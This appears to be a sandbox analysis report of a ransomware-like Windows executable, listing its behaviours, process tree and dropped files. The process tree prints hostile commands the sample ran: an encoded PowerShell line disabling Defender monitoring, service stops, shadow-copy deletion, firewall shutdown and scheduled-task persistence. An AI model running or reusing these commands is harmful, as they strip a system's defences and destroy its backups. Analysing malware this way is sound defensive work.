Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/05/2026, 02:25

General

  • Target
    onevanilla.io_hybers.exe
  • Size 49KB
  • Sample260511-cwpcfaat4w
  • SHA256 069767b43c20cacd5a0da461315539ab2e5abc41f97887a6c1ddb593d81b1956
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1988
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2656
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2032
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1420
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5900
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2368
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4392
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3292
      • C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe"
        3⤵
          PID:1568
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:984
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4324
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5300
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:5524
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5428
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
            PID:4844
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:4340
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4940
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3952
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1308
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4280
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5500
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4656
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2008
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3884
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:1556
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3016
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:5340
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5568
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:3628
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:4680
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:1508
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4580
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:764
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:3012
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:3416
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:5832
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:3904
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a1c055 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:3888
                • C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe
                  C:\Users\Admin\AppData\Local\Temp\onevanilla.io_hybers.exe
                  1⤵
                    PID:4664
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1344

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 8ffbee66aa2fcfd05aaf7c6e97b89978892f7a7a80728ee236ec01c63eae7b7a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 fc6302a694f7da1a8db5d11c29f614b2156aa1ce9d2c0267f63c29e69e55a4d2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        onevanilla.io_hybers.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\onevanilla.io_hybers.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_4bve2f0s.jzr.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4bve2f0s.jzr.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 245B
                        • SHA256 8f29438448929ad7d9edbceb0c8a97d8077535bef87ee8397a181eea0ba51f3a
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 246B
                        • SHA256 6c105ac5eb7f2d76455e1b468d1cfb4a16c3feeedc70d7528e3364f76d7540f0
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 069767b43c20cacd5a0da461315539ab2e5abc41f97887a6c1ddb593d81b1956
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/984-2233-0x0000013BD9610000-0x0000013BD96BF000-memory.dmp

                        memory/984-2234-0x0000013BDAF70000-0x0000013BDAF7C000-memory.dmp

                        memory/1344-2286-0x000001931D660000-0x000001931D70F000-memory.dmp

                        memory/1508-2270-0x0000017EA75C0000-0x0000017EA766F000-memory.dmp

                        memory/1988-2248-0x000001C5C7EC0000-0x000001C5C7EC6000-memory.dmp

                        memory/1988-2277-0x000001C5AF040000-0x000001C5AF0EF000-memory.dmp

                        memory/1988-1697-0x000001C5C7960000-0x000001C5C797C000-memory.dmp

                        memory/1988-2235-0x000001C5C7ED0000-0x000001C5C7EEC000-memory.dmp

                        memory/1988-2239-0x000001C5C7980000-0x000001C5C798A000-memory.dmp

                        memory/1988-1728-0x000001C5C7CA0000-0x000001C5C7D53000-memory.dmp

                        memory/1988-2245-0x000001C5C7EF0000-0x000001C5C7F0A000-memory.dmp

                        memory/1988-2282-0x000001C5AF040000-0x000001C5AF0EF000-memory.dmp

                        memory/1988-2247-0x000001C5C7EB0000-0x000001C5C7EB8000-memory.dmp

                        memory/1988-13-0x000001C5C78D0000-0x000001C5C78F2000-memory.dmp

                        memory/1988-2143-0x000001C5C7950000-0x000001C5C795A000-memory.dmp

                        memory/1988-2278-0x000001C5AF160000-0x000001C5AF16C000-memory.dmp

                        memory/1988-2250-0x000001C5C7F10000-0x000001C5C7F1A000-memory.dmp

                        memory/1988-2283-0x000001C5AF160000-0x000001C5AF16C000-memory.dmp

                        memory/1988-2279-0x000001C5AF630000-0x000001C5AF642000-memory.dmp

                        memory/3292-1652-0x0000028305510000-0x00000283055BF000-memory.dmp

                        memory/3628-2252-0x00000174D3100000-0x00000174D310C000-memory.dmp

                        memory/3628-2251-0x00000174D4DB0000-0x00000174D4E5F000-memory.dmp

                        memory/3720-2272-0x000000001C9D0000-0x000000001CA7F000-memory.dmp

                        memory/3720-2-0x000000001DB80000-0x000000001DD42000-memory.dmp

                        memory/3720-2273-0x000000001CEE0000-0x000000001CEF2000-memory.dmp

                        memory/3720-1-0x000000001B5B0000-0x000000001B5C0000-memory.dmp

                        memory/3720-2271-0x00000000029A0000-0x00000000029AC000-memory.dmp

                        memory/3720-2275-0x000000001B5B0000-0x000000001B5C0000-memory.dmp

                        memory/3720-3-0x000000001E320000-0x000000001E848000-memory.dmp

                        memory/3720-0-0x00000000007A0000-0x00000000007B2000-memory.dmp

                        memory/3888-2274-0x0000022E506E0000-0x0000022E5078F000-memory.dmp

                        memory/3952-2285-0x0000029055540000-0x00000290555EF000-memory.dmp

                        memory/3952-2287-0x0000029055540000-0x00000290555EF000-memory.dmp

                        memory/4340-2276-0x000001D009BF0000-0x000001D009C9F000-memory.dmp

                        memory/4680-2259-0x000001D4AB200000-0x000001D4AB201000-memory.dmp

                        memory/4680-2289-0x000001D4AAB80000-0x000001D4AAC2F000-memory.dmp

                        memory/5524-2258-0x0000018477250000-0x00000184772FF000-memory.dmp